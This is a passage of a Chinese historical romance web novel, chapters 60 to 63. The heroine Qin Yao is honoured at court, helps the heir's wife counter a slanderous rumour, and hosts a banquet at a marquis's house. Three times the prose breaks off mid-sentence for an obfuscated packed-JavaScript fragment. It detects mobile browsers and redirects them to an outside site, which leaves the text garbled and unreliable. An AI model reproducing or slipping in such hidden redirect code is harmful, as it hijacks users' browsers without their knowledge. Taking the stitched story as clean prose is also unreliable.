几个孩童从她身后大笑着跑过,掩盖了他的声音。 她只看到他的唇一张一合,瞬间愣在原地。 60. 意外之喜 即使听不到声音,只看唇形,秦瑶也猜出陈衡说了什么。 可她还是木然问了句:“你说什么?” 也许是她长久自持自己比别人多活了许多年,就多懂了许多事。 可惜感情一事对于从未嫁人的她来说,的确让她想逃避。 陈衡也不忍心拆穿她,眼眸躲闪了下,只道:“无事,走吧。” 一路上两人心照不宣。 秦瑶默默剖析起整件事来,若他想要摆脱陈家,最好的办法就是自立门户。 按理说他原就姓沈,冠礼后自立门户是理所当然,只是陈母不愿另嫁为他人妇,又无能力自立离开陈家,导致与陈家的利益捆绑至深。 如今也只有通过婚事,来与陈家彻底分割了。 “我本想让你以我正妻身份进入陈家,一是想法子彻底让舅父舅母厌弃母亲,好让她同意跟我出来自立门户,二是如此他们亦不可再插手我的婚事……可惜被你全盘打乱了。”陈衡无奈摇头。 秦瑶冲他翻了个白眼,道:“谁知你做事如此不周全,提前不跟我商量一下!再说,上次在江城,事后还能逃到他处重新来过,这次若真认了你陈公子的正室之位,以后我还能逃哪儿去?” 他倒忘了,此女子向来有自己的主意,不是那言听计从之人。 “我们互相埋怨也不是办法,为今之计是该好好打算一下该如何做。”他道。 到了向阳巷,小桃早在巷口等着,说今日宫里已有人送来宫服,明日一早会来传旨进宫,让秦瑶做好准备。 秦瑶没问之前的事后续如何,便趁此问了陈衡。 原来这事还颇费了些周折,二皇子一派早已上奏太子抢夺民田激起民愤,派陈衡前去遮掩,粉饰太平,不料惹怒上苍降下天罚,更把江城搅得一团乱。 皇帝左手拿奏折,右手拿太子上奏的表功书,一时不知该信谁。 直至世子与世子妃瞒天过海,假意被陈衡劫持好不容易逃了出来,投靠许州。 他们原就是二皇子的人,轻易骗过了二皇子一派,回了京才将所有事情和盘托出。 尘埃落定,江城秦应抚被抓入狱,许州知州也被贬去了南域,二皇子被罚闭门思过无诏不得出府,所以早该进宫面圣的秦瑶,这时才接到通知。 陈衡望着万家灯火,突然问道:“我明日也要进宫,可否在此借住一晚?” “何来借住一说?”秦瑶往门后退了退,“这宅子本就是陈公子的。” 如今娇娇已回了左家,她可腾出正房,给主人住。 买宅子的事要快些提上日程了。 * 第二日三更天之时,秦瑶就被小桃唤醒,着了宫服收拾了一番,等着宫里来人传旨。 陈衡因要早朝的缘故,也起了个大早,顺便蹭了宫里来的马车,与秦瑶一同入宫。 他熟门熟路,与传旨的宫人也相熟,两人在马车里说说笑笑的。 秦瑶愣是一个字也没听进去,紧张的手心全是汗,连宫人的交代在耳边也成了蚊子的嗡嗡声,只知不停点头。 “阿瑶。”陈衡凑近她耳边,才把她的魂唤回来,“你不必紧张,到时自有人为你说话。” 那宫人看了他俩一眼,眼眉角带了几分窥探他人秘密之喜,笑道:“圣上仁慈,秦姑娘是第一次进宫,若犯了些许小错,圣上不会怪罪。” 秦瑶点头,眉头依旧紧锁。 宫人继续道:“别的都无所谓,只需注意一点,圣上问你什么,照实了回答,切不可隐瞒,这欺君之罪可不是只说说。” 他比划了个杀头姿势。 马车停在宫门口,接下来所有人都要步行而至。 皇宫隐藏在一片晨雾中,秦瑶下了马车,只隐隐瞧见明黄琉璃瓦连绵,在黎明中格外显眼。 朱漆宫门沉重开启,已有大臣三三两两到达,顺着笔直的青石路往里走去。 不时有人看见陈衡几人,打了招呼,对秦瑶露出好奇的目光。 她今日穿了繁重的宫装,脸上涂抹的脂粉早将原貌遮盖,看不出真实面目,远远望去,只是一团白色里点缀了两道素黑的眉,下方唇上又有一点鲜红。 陈衡对此装扮甚为满意,如此一来他人辨不清她的容貌,也就不会多做他想。 几人走了快半个时辰,天已大亮,才来到巍峨的金銮殿。 秦瑶需在殿外等候传召,于是陈衡先进去了。 她站在殿外恭谨垂头,只敢盯着自己脚尖,忽听一人来到她身边,嬉笑着问:“秦姑娘?” 秦瑶一抬头,见世子站在自己跟前,朝自己挑眉,一惯的不正经。 “世子!”她忙退后一步。 世子也不顾众人异样的目光,直凑近她耳边,道:“你见过世子妃了?她近来可好?” 秦瑶莫名看了他一眼,心道奇怪,难道世子回京这么久就没去相府看过他娘子? 她摇了摇头:“回世子,民女还未曾见过世子妃。” 世子眼中难掩失望:“那你肯定没听说,本世子要和她和离了。” “为何?”秦瑶吓了一跳。 不等他回答,旁边的宫人便上前提醒道:“世子,该进去了,此处可不是闲聊之地。” 世子将到了嘴边的话默默吞下,整个人气定神闲的进去了,留下秦瑶待在原地,脑袋嗡嗡作响。 她刚整理好的心绪,猛地全被这消息打乱了。 也不知呆了多久,终于有人推了她一把:“陛下召你呢!” 秦瑶已是乱了阵脚。 她虽活了两世,却没见过如此大场面,又被扰了思绪,不免慌乱。 好不容易拱手低头走到大殿中央,她哪敢抬头四处看,只往地上“噗通”一跪,照着宫人先前教的整个人趴了下去。 直到将头整个埋在手臂,才堪堪松了一口气。 头上传来一道威严的声音:“你就是那个提前得知山河改道,救了村民的神女?” 秦瑶这才回道:“民女秦氏见过圣上,圣上万岁万万岁。” “在神女面前,圣上二字寡人是当不得了。”皇帝缓缓道,“神女来说说,之后我国状况如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182869|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何?有何灾祸?朕还有多少年可活?” 此话一出,就连秦瑶也感到不对劲了。 大殿上气氛突然凝重。 “父皇是真龙天子,定能活万岁!”太子忽然出声,带领一众大臣齐齐跪下高呼,“陛下万岁!” 秦瑶的一滴冷汗掉落在地。 什么世子妃,什么陈家,什么侯府,此刻全被她抛诸脑后,她终于完全沉浸在皇帝的问话中。 这话若是答不对,只怕自己小命不保。 “神女?”殿中沉默了片刻,皇帝又问。 秦瑶右边一双脚突然动了动,她认出是陈衡那双白色绸袜。 他这人平日里装的那叫一个简朴,穿着皆用最普通的衣料,唯独喜欢在袜口束脚脖子带上嵌些珍珠碎玉。 得知有人陪在身边,她沉静下来。 “回陛下,民女哪有陛下说的那般神通广大,只是在古籍中曾看到过地动之前会有一些征兆,与当时之情景相合,便猜测一番罢了。” 她若说自己是死而复生,比别人多活一世,怕是会被人当作妖孽斩杀,所以也顾不得欺君,话里半真半假。 “原来如此。”皇帝对这回答似满意了些,点头道,“不必紧张,朕方才开个玩笑而已,学海无涯,众卿还是多看书为好啊!” 众臣皆称是。 皇帝又问:“虽是看书得来的,你也算救了朕许多子民,朕定要赏赐你。不知秦氏有何想要的?” “为陛下分忧是所有子民该做的,民女不求赏赐!”秦瑶一咬牙,道,“只求陛下别再称民女为神女,民女实在受之有愧!” 她知太子上奏的表功书中,有意封她为神女,只是若自己真不识好歹认下了这身份,又将皇帝置于何位?难不成往后皇帝见了她,还要屈膝叩拜神女? 见好就收,是她上一世吃了许多亏后得出的经验。 果然,皇帝对她此话颇为满意,高兴道:“既如此,朕就封你个乡君如何?封号承安,再赐座大宅子,以保你在这京城能好好生活下去。” 虽不知乡君食禄如何,一听有大宅子,秦瑶本要推辞的话便默默咽了进去,道:“谢圣上赏赐!圣上万岁!万万岁!” 这句“万岁”更比之前那句真情实意。 宅子的事如此轻易就解决,不费一分一毫,着实是她未曾想到的意外之喜。 她察觉陈衡那只脚又动了动,却不以为然,有些高兴过了头。 紧接着她又被后宫太后、皇后分别召见,已是有了面见圣上的经验,不再话下。 待到各宫要用午膳之时,秦瑶才领着一队人,抱着满堆赏赐,笑容满面出宫。 陈衡散朝后未走,等在宫门处,已让予安备了马车前来。 见她喜笑颜开,不由酸涩道:“阿瑶有了赏赐,不如将我的钱还来?说到自立门户,我也少不了一所大宅子。” “想要?你自己买。”秦瑶笑盈盈。 陈衡无奈摇头:“当日我的全部家当都给了你,哪还有钱?” 原来那二百两是他的全部家当。 61. 流言蜚语 赏赐的宅子在城东一处僻静角落,离皇宫远了些,好在地方不小,只是长久无人打理,院内杂草丛生,需些时日找人来收拾。 秦瑶又去钱庄支了钱,找了人来将宅院重新修整一遍。 就这么过了几日,她心中总想着那日殿外那些话,待到相府请帖上的日期一到,她便迫不及待去见世子妃。 世子妃回京却不回世子府上,回了娘家,她该早觉察不对。 虽然柳氏与她只在江城短短见过两面,却共同经历了危难,一时竟有些别样的情愫在里头。 说起来,她还不知世子妃闺名。 相府节俭,府内一应事物皆按简单的来。 与侯府不同,秦瑶入了府,不进前厅不见家主,直接被一小丫鬟领进了世子妃柳氏所住的东厢。 东厢原应是长子所住之地,小姐们都该在西厢,只因夏日东南风、冬日西北风,东厢可比西厢舒适的多。 反正女孩们终要嫁人,住在西厢也是临时的。 而世子妃柳氏在家,却一直住着东厢。 柳相没说把这处舒适之地给自己住,宁愿留着给出嫁的女儿,他是打心底疼爱这个女儿的。 秦瑶有些羡慕。 柳氏并未在厅堂内接见,反而直接让小丫鬟把她领进内室。 秦瑶见到柳氏时,更是吃了一惊。 她病恹恹半躺在榻上,人瘦了一圈,面色更是发白,眼眸里已不见往日傲然光彩。 看来世子那日在殿外说要和离,是真的了。 “你来了?”柳氏见到她,微微支起身子,嘴角扯出一抹笑,“想来我们一别才一两个月,再见你已被封为乡君,而我……瞧瞧如今我这模样,都不好意思见你了。” 如今秦瑶作为乡君也不用向她行礼了,倒是一屋子下人朝秦瑶屈了膝。 柳氏让丫鬟们搬来椅子,请她入座上茶。 “听闻世子妃与世子,要和离?”秦瑶锁了眉头,单刀直入问道,“为何?” “你知道了?”柳氏苦笑。 秦瑶将殿外之事与她说了:“世子还问你近况如何,你们两人明明都知晓对方心意,这中间究竟发生了何事?” 柳氏摇了摇头,似有难言之隐。 “这有什么不能说的!”她身边丫鬟忿忿不平道,“还不是几句流言蜚语?” “什么流言,竟搅得世子非和离不可?当初在逃亡路上,世子宁愿只身入许州找你,也不肯跟我们回京,他能如此轻易与你和离,无论如何我是不信的。”秦瑶道。 “也不知哪里传出来的。”柳氏皱眉,叹了口气道,“说我在许州,被那些人玷污了去。” 秦瑶大吃一惊,这等流言蜚语对于女子来说,简直是要人命! 若放普通人家,早让女儿自尽已证清白了,还好相国只有这一个女儿,他又不是迂腐之人,所以任凭流言如何,他也不在乎。 大不了离了世子,女儿回家常住。 柳氏则愁容满面,托着腮无力倚在榻上道:“我是曾遇到一人,若不是他,我早有不测,可此人是我儿时伙伴,他尊我重我,并未对我有任何不敬。” “那人是谁?”秦瑶直觉此事不对,“能传出这种流言,若与那人无关,也与他身边之人脱不了干系!” 若真是流言,那传出流言的人定有目的,只是…… 她看了看柳氏,两人之间交情不深,她不敢确定此事真假,更不敢确定对方是否会利用自己。 秦瑶想到世子,还是忍不住想要帮他一把,毕竟他人是蠢了些,对这位世子妃却是真心喜爱。 “身边之人……”柳氏念叨着,渐渐理清其中关键。 秦瑶进一步试探道:“你当初选择落脚许州,是因有那人在,知他可保你平安?” 柳氏咬唇,恨恨道:“我哪顾得上这么多,只道那许州严笠是好人!我在家时见他与父亲来往甚多,谁料他暗中投靠了二皇子!” 看她神色,与那人相遇确属偶然。 她继续道:“事到如今也没什么好隐瞒了,我与那人幼时曾是邻居,他父亲与我父亲那时都在延城为官,只因他是家中幼子,上有两兄长,见家财无望,就从军入了许州府兵,此次因举报平反有功,擢升入了禁军。” 秦瑶似乎听陈衡提起过,此次多亏有一人在许州城内做了内应,才轻松切断了江城与许州之间的联络。 “那人是不是姓阮?”她问。 柳氏点头道:“正是阮正,我与他多年未见,在许州遇到时我也吃了一惊,看他已成家立业还替他高兴。” “他成家了?”秦瑶追问。 “他家里给找了中书通事家的女儿,也是门当户对,十分美满,只是两人刚成婚不久,还未有个一儿半女。”柳氏目光亮了亮,“他娘子我见过,姓卢名唤玉竹,是个心地善良之人。” 秦瑶不由问道:“如何良善?她如今是随夫君来京城了?若她偶然得知,她夫君心上人另有他人,会不会放出些不利于那女子的流言蜚语?” 柳氏摇头:“不会的,卢家家风颇严,教养不出这样的女儿,况且我与阮正只是偶然相遇,幼时如何早忘了,说他心里有我,不可能!” “那你心中可有他?”秦瑶幽幽冒出这句话。 “怎么可能?”柳氏原以为自己听到了一句笑话,正欲大笑,突反应过来,收敛起笑容道,“你不信我?” 秦瑶忙俯首道:“世子妃恕罪!经此一问,亦再无怀疑。” 柳氏撑起身子,恢复了往日不苟言笑:“是世子让你来试探我?” “非也。”她摇头,“世子哪能想到这么多?他此刻怕是还沉浸在流言中,悲愤欲绝。” 柳氏脸色沉了沉,一双眸子又暗了下去。 她岂会不知世子是个什么德性? 他亦逃不过世间男子常有的毛病。 “世子他……他不信我。”她凄然道,“听了那些污言秽语,他竟跑来质问我,还说若我忘不掉幼时之情,可放我一条生路……我一气之下便回了家。” 看来此事症结不在世子妃身上,而是世子。 世子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196017|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若要一个真相,大可将阮家夫妇两人请来当面对质,而今到现在也不见他叫那两人来问话…… 他是要流言消散。 而流言消散,则需揪出背后散播之人,在众人面前亲口承认自己的错误。 这别提多难了。 有了这些思路,秦瑶问道:“不知阮家在京城现如今是何地位?若你办个宴席,或我以乡君的身份设宴,他们能否在邀请之列?” “我们女眷设宴自然没那么多讲究,爱请谁来皆可,只要别请那门口乞丐。”柳氏还有闲心打趣,“你是想找个由头把人聚在一块儿?” 她早想过这个办法,可聚齐了这些人,世子不出现又有何意义? 秦瑶提议:“你们两人此时并未和离,不如你先回去,还当堂堂正正的世子妃去,若走了这些时日被别的女子占了便宜,到时吃哑巴亏的是你。” 柳氏身边侍候的丫鬟们纷纷点头赞同。 “奴婢们早劝过小姐,等世子把和离书写好再走也不迟,小姐这一走,岂不是向全京城宣布世子妃的份位马上要让出来了?” 柳氏要脸,既然已走自然不肯轻易回去。 秦瑶又劝道:“你这一走,仿佛那流言是真的,在外人看来这不是心虚是什么?你就任凭那些脏水泼在身上?” 柳氏双脚已从榻上落地,身子也绷直了起来,她绞起手中帕子,道:“凭何让我忍受?该难受的是那些乱嚼舌根之人!” “正是如此!”见她来了精神,秦瑶道,“过几日陛下赏赐我那院子收拾妥当,我就借此设宴广发邀帖,到时你必得以世子妃身份与世子一同赴宴,我再将阮氏夫妇也请来,想法子让他们在大庭广众之下说清楚,如何?” 柳氏露出感激的目光,擦了擦眼睛泪水,道:“你愿意帮我?” 这世间大多人是遂了父母的愿结为夫妇,能有了真心的并不多见。 秦瑶最乐见其成的便是如此,凭世子那一腔真情,在危急关头不顾自己,让人护着世子妃…… 若不是那日她也陷入同样危机中,说不定早感动到泪洒当场了。 不过,她还是稍微提了些条件:“不瞒世子妃,我初来乍到,在这京中举目无亲,若日后……” “若日后有用得着我的地方,我必定帮你。”柳氏抢先道,“秦姑娘不必客气,你是陛下亲封乡君,日后不管到哪儿,连我都得唤你一声承安君,别说那些赶着巴结你的人了。” 她第一次对秦瑶露出善意微笑,“我知陈公子唤你阿瑶,私下里你我也可小字相称,我闺名单字一个‘亦’,亲近之人都唤我‘阿亦’。” 柳亦。 柳相给女儿起的名字也是亦男亦女,想必当初他对这个快要降生的孩子,不论男女一视同仁。 “阿亦。”她唤了一声,笑道,“还等着作何?不快快回你的王府,做回你的世子妃?” 不等世子妃吩咐,众丫鬟收拾起东西来。 “我要拜别父亲,便不留你了。”柳亦一改先前愁容,“阿瑶这份恩情,我会一直记得。” 62. 手段了得 还未等秦瑶开府设宴,侯府那边先传来了设宴的消息。 这几日侯府热闹非凡,得知左家找回了失散多年的小孙女,京中有头有脸的人物皆送上贺礼,一时之间侯府的库房都快堆不下了。 于是老太君为答谢众人厚礼,选了日子广邀亲朋好友,熟识的不熟的,几乎将大半个京城的人家全邀请来。 这其中就有阮家夫妇。 秦瑶提前三日被叫去侯府帮忙,大到请外头杂耍戏班,小到府内一花一草的布置,宾客安排等全落在她头上。 侯府一众人老的老、小的小,老太君将一切推给她,美名其曰“学习管家”。 毕竟承安乡君过段时间开了府,以后就要亲自上手熟悉府务。 当她看到阮家夫妇也在邀请之列,才感觉这管家之事没白白接手。 忙了整整三日,直到侯府焕然一新,她才有了喘息歇息之机。 侯府已将空了许久的撷春院给了秦瑶住下,她也已三日未回向阳巷了。 恰巧这几日陈衡为躲避陈家,一直住在向阳巷,却不见秦瑶,心中自然有些沮丧。 忽见秦瑶遣人知会他到繁盛楼商量大事,他已按捺不住,早早去了。 酒楼里人声吵杂,他张望了一下,厅堂满是宾客,不见秦瑶人在。 想着大厅里人多眼杂,他问掌柜要了二楼雅座,又等了一刻,才见秦瑶的身影出现。 她今日装扮的隆重,头戴斗笠素纱遮面,身后两排奴婢家丁,一进来便吸引了众人目光,引得掌柜亲自到门口相迎。 “不知贵客可有预定?”掌柜小心翼翼拱手相问。 秦瑶一双素手将面纱轻轻掀开一道缝隙,四下看了看,才看到二楼一道熟悉身影,倚靠栏杆,正看着楼下这一切。 她迅速放下面纱,指了指上方。 掌柜立刻心领神会,让小二带路,不再多言。 他们深知贵客来此,向来不喜话多打扰。 只是一到二楼雅间,陈衡就忍不住开口讥讽:“士别三日,阿瑶当真让人刮目相看,摆起排场,果真如同变了个人。” “公子。”在引路小二诧异目光中,秦瑶还是如常给他行了个礼。 “快快请起。”陈衡坐得稳当,口出不满之语,面上倒受用得很,“鄙人怎当得承安君大礼。” 小二大气不敢出一口,垂头退出,还顺带把门关上—— 敢情今日来的全是大人物! 一道门将那些奴婢也挡在了门外,秦瑶取下斗笠,全身松快了不少:“你我就别打趣了,我来找你是有要事相商。” “瞧阿瑶说的,若无事我们就不能相见?”他道。 她在他对面坐下,不由抬头仔细察看:“你何时变得如此油嘴滑舌了?” 陈衡忙垂下眼眸:“许是和世子待一起,染上了他的毛病。” “说到世子——”她压低声音,“我约你前来正为此事。” “你欲插手世子婚事?”显然他不太赞同,“京中近日流言纷纷,我也有所耳闻,世子若不在意,世子妃大可不必如此作闹。” “你觉得世子不在意?”秦瑶不禁嘲讽,“若此事发生在你身上,你会不在意?” 他眉头一皱。 “咚咚咚。”室内忽响起敲门声。 小二的声音在门外响起:“贵客可要点些吃食?” “进来。”不等秦瑶说话,陈衡吩咐小二进来,“阿瑶不如先点些喜欢的,我们边吃边聊。” 他对这酒楼的菜品如数家珍,跟秦瑶一一介绍起来,避开世子之事不谈。 等到菜都上齐了,他又忙着斟茶布菜,妄图拿吃的堵住她的嘴。 这菜的确味道一绝,可秦瑶的心思根本不在这上边,她一怒之下摔了筷箸在桌上,道:“看来你是不打算帮我?” 陈衡正夹了一筷子玉珍萝,不等她说完便眼疾手快塞入她嘴里。 正巧店小二来上茶,打开门一看,两人如此亲密无间,不由手一抖,忙退了出去。 见秦瑶怒气渐升,陈衡才叹了一口气,道:“你初来乍到,不知其中弯绕,此等流言大家见怪不怪了,若不去管它,等过段时间自然也就无人想起。” “如此说来便可放手不管了?”她不解反问,“纵使闹得夫妻反目、家宅不宁?况且这等流言分明是要女子的命!” 陈衡一时沉默。 他也明白这意味着什么,可这背后并不是这些妇人想得这般简单。 如今世子倒戈,站在东宫一方,是某些人不愿看到的。 如若能挑拨他们夫妇和离,甚至害世子妃自戕已证清白,柳相必和世子翁婿反目。 此等计策十分恶毒。 而他早猜到其中关键,也已劝东宫远离此等是非,此时只要能明哲保身,不被圣上猜忌,才是正道。 除了柳相这位父亲,他们不会关心一个女子的死活。 “你想如何?”他问。 秦瑶从前一介平民,自然体会不到这京城朝堂局势。 她不屑道:“我已将侯府宴席安排妥当,到时男女席位中间只隔一层屏风,你只需保证看住世子,老实看戏,别让他乱跑就成,我自会想法子帮世子妃洗清污蔑。” “你想逼那姓阮的自己承认?”他很快猜到她的计划。 秦瑶眼眸亮了:“你为何说是阮正?难道他的娘子卢氏不会因妒忌而故意造谣,污蔑世子妃?” 她看到陈衡缓缓摇头,目光肯定。 看来陈衡什么都知道。 他知道,却袖手旁观,不顾一个女子因此毁了清白,甚至有可能丢了性命…… 秦瑶有些失望。 “若有一天,你的娘子被人如此污蔑,你会不会像世子一样,纵使曾经真心相待,也不愿再顶着众人嘲笑,继续信她?” “……世子心性单纯,所做所为全凭个人喜好。”半晌,他道。 秦瑶的心已是凉了半截:“这么说,你还不如他,你不会全凭喜好,一有不利于你之事,便会见风使舵、独善其身吧!” 他不打算与人做无谓的争辩。 于是点头道:“阿瑶若这样想,我便是如此吧。” 秦瑶感觉自己像一拳头砸在棉花上,对方如此态度让她更加窝火。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199841|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不料却听他话锋一转:“那日我会帮你看住世子。” 如此一来,他作为东宫最倚重之人,算是以身入局了。 这件事如何善后,也由不得他不管了。 两人不欢而散。 秦瑶第一次觉得,自入京以来,两人之间好像起了道裂痕,说不清道不明,更难以跨越。 即使她已被封了乡君,在侯府见了些贵胄,却也看不清这城里大雾弥漫的背后。 他会为了所谓的前程,不顾身边女子的牺牲吗? 上一世习惯了一个人,对于其他人,她拿不准,亦不敢依靠。 * 侯府的宴席如约而至。 宫中也传来好消息,原来皇后早已得知左家寻回了孙女,特向皇帝请了旨,召侯爷左叙,也就是娇娇她亲爹回京团聚。 如今算算时间,也该到家了。 当年侯府长房虽继承了侯爷爵位,却早逝又无子,这爵位便落在了二儿子左叙头上。 左叙却觉得这一切不是自己挣来的,全拜大哥去世所赐,于是替父替兄守卫边戍,毫无怨言。 这正是如此,他无暇顾及家中,害得妻离子散后,已是日日活在愧疚之中。 得知女儿竟回来了,他一路快马加鞭赶回京城。 近乡情怯,进了城,快到家门口时,他反而不敢回去了。 该如何面对多年未见的女儿?该如何面对母亲多年未见的怨怼? 夏日蚊虫纷咬,这身高八尺之汉子竟带着亲卫,躲在巷子口迟迟不动。 “你就别去了。”巷子口拐过弯的一户人家,出来了几个人,看来是要去侯府赴宴。 为首的妇人左侯爷并未见过,只听她说:“上次在侯府,你惹得老太君不高兴,这次再带上你不妥。” 左侯爷皱了眉头,谁敢惹自己老娘不高兴? “那夫人小心。”一年轻女子道,“侯府如今也是无人了,竟叫那乡野村妇把持门楣,夫人放心,她想进陈家的门,我有的是法子让她断了念想!” 又一丫鬟讥笑:“她如今已是乡君,又是侯府老太君的干女儿,公子想娶她,怕是要入赘!” “啪——”为首的妇人打了这丫鬟一巴掌,“什么乡君,什么干女儿,不过是出身乡野的丫头,蝇营狗苟之辈!手段倒是了得!入赘?来人,先把这丫头赶出府发卖了去!” 又是一片求饶声。 最后也不知那妇人饶过奴婢没,左侯爷已是身子凉了半截。 老天,他娘在做什么?竟还认了个干女儿? 那干女儿还被陛下封了乡君? 还敢把持侯府? 这种女子,趁侯府老的老、小的小,无人能撑起门楣,便趁虚而入—— 绝不是什么省油的灯! 待这一户人马走远了,左侯爷才从巷子拐角处走出来。 他抬眼望向侯府方向,似乎已隐隐约约看到一女子,带着众家丁在门口,巧笑嫣兮迎来送往。 他再也顾不上心里愧疚,大手一挥吩咐手下全部上马。 他要快点赶回去瞧瞧,到底是谁,敢把主意打到他头上! 63. 侯府宴席 侯府门前此时已是车水马龙,热闹非凡。 秦瑶一身朱紫装,发髻上珠钗环绕,一改往日朴素,她本就属大气端方那一挂美相,如今看来竟活脱脱像生在京中长在京中的贵女。 左侯爷暗中观察起她来,只见她待人接物大方得体,不由暗道:此女果真心思不简单! 陈衡也到了,见自家母亲刚下马车,过去扶了母亲,问道:“母亲为何没跟舅父舅母一道?” 他们既然与陈家一体,分开来着实不妥,不免引人遐想。 陈母怒嗔一声:“哼,你舅父们是上赶着巴结侯府,巴结承安君,见我得罪了人家,要与我划清界限!” 陈衡知舅父向来得体,听母亲这样说,心中便明白,是母亲不愿与舅父们为伍。 他扶着母亲走上台阶,抬头见秦瑶正满脸笑容望着自己,摆足了管家之势。 陈母瞥了一眼儿子,见他痴痴望着那女子,不由道:“瞧你那没出息样子!出身低下之人果然善于钻营,这才短短月余,就摇身一变,成乡君了!” 她不情不愿朝秦瑶行了个礼。 如今来的宾客,只要没秦瑶位分高,依律皆需行礼。 所以陈母此刻十分窝火。 这大门口人多,秦瑶也并未同她一般见识,只吩咐下人带她入座,待遇与旁的宾客无异。 陈母又不禁暗讽儿子:“还口口声声非人家不娶,我看人家也看不上你。” 陈衡脸色一沉,放开了她:“男女不同席,母亲请先入座。” 说罢,他让下人带走了陈母,自己则留在大门口,站在秦瑶身边。 “今日之事我已安排妥当,阿瑶想做什么,便去做。”他压低声音,在她耳边说道。 秦瑶脸上笑容不变,依旧迎着宾客,只在间隙道:“世子与世子妃已经来了,阮家夫妇我不认识,不知来了没。” 陈衡点头:“放心,一切有我。” 两人时不时靠近耳语,在左侯爷看来,他们十分亲密。 “这女子,进了我侯府还不够,还勾搭起陈家这小兄弟来,脸皮真够厚的。” 一旁近卫问道:“侯爷,我们什么时候进去?” “急什么。”他不悦道,“等着,待人都进去完了,我们最后!给他们一个大惊喜!” 等贵客都进的差不多了,秦瑶也需进去看顾,门口就留给侯府管家等人。 这时左侯爷才堪堪从别家马车后出来,直奔大门口。 管家自然是认得他的,猛一见之下,怔了一怔,又慌忙揉了揉眼,这才惊喜叫道:“侯爷!是侯爷回来了!” 说着他就要进去报信。 左侯爷忙制止了他:“嘘!切勿声张,我自己悄悄进去。” 管家闭了嘴,不迭点头,眼里已是泪光闪烁。 侯爷交代府里下人带几位近卫进去,安排好吃住,自己则混在人群中进去了。 宾客中亦有不少人认得他,所以他只能偷偷摸到偏僻角落,找了张坐满小辈的桌子坐下。 桌子旁边就是屏风,他一歪头便能轻松看到女眷席位。 此刻老太君正在内室接见一些亲近之人,台子上也还未开始表演。 秦瑶趁这机会,在世子妃的引见下,见了阮正的妻子,卢玉竹。 见了真人她才知道,世子妃柳亦当日同她说,“卢氏教养不出那种女儿”是何意思。 卢玉竹此人,虽长相小家碧玉,说话行事却颇有章法,大方得体。 她更是毫不避讳世子妃被困许州之事,引得众人竖起耳朵频频偷听。 “世子妃近来可好?”卢玉竹道,“自许州一别,每每想起世子不顾自身安危,入城与您一同隐忍,我便感动不已,夫妻本是同林鸟,又有几人能做到大难临头,不互相抛下?” 这场面话说得相当真诚,一些人不由羡慕起这对眷侣来,可又转念一想那流言,不禁纷纷摇头。 世子与世子妃若真如卢玉竹所说,也不会到今日闹着要和离了。 一时之间,席间竟有人小声讥笑。 “阮家娘子可否讲讲,当日状况如何啊?”有人出声问道。 这问话不怀好意,直指世子妃被玷污之事。 世子妃一双厉目投了过去,女眷席位顷刻间鸦雀无声。 卢玉竹却笑了笑,道:“柳家与阮家是旧识,世子妃入许州城既被阮家撞见,自是不会坐视不理,我这个做娘子的也不敢拖了夫君后腿,日日与世子妃吃住在一处,以防不测。” “原来世子妃一直与阮家娘子一起啊!那岂不是旁人没机会对她……” “那不一定。” 有人想说,“说不定二女共事一夫”,可碍于世子妃的威严,不敢宣之于口。 秦瑶没想到卢玉竹竟如此坦荡,听她的意思还想帮世子妃洗刷谣言。 难道放出谣言的不是她? 卢玉竹微笑对两人福了一福,退回到自己的席位。 秦瑶疑惑看向世子妃。 世子妃也露出了一抹笑容,颇有些得意,仿佛在告诉她:我就说她不是那种会搬弄是非之人。 秦瑶不敢掉以轻心,若卢玉竹惯会惺惺作态,有两幅面孔,难保她们不被她骗了。 正无措着,只见老太君和几个贵妇从内室来到宴席间,后边还跟着侯府的几个孙辈。 左侯爷多年未见家人,此时更是使劲儿瞪大眼睛,不让酸涩的泪水夺眶而出。 他见到了垂垂老矣的母亲,比起几年前腰更弯了,头发也白了…… 他见到了自己的儿子,如今已是堂堂七尺小男子汉…… 还有个小女孩,那陌生又熟悉的气息,神态间隐隐有他已逝娘子的影子…… 那是—— 他的幺女! 左侯爷双手握拳,僵在那儿一动不动,看上去像是一座雕像。 他恨不得立刻去到这对祖孙面前! 可越到激动时,身子却像被定在原地一般,迟迟不能行动。 老太君不避男客,带娇娇直接上座,朝众宾客道:“各位今日能前来,府上蓬荜生辉,我左家寻回了丢失多年的小孙女,实乃大喜之事,所幸让大家跟着一起沾沾喜气。” 底下众人叫好,这着实是天底下难得见到的好事。 随着认亲仪式开场,后又点戏,席间热闹起来。 这时有人给世子妃的丫 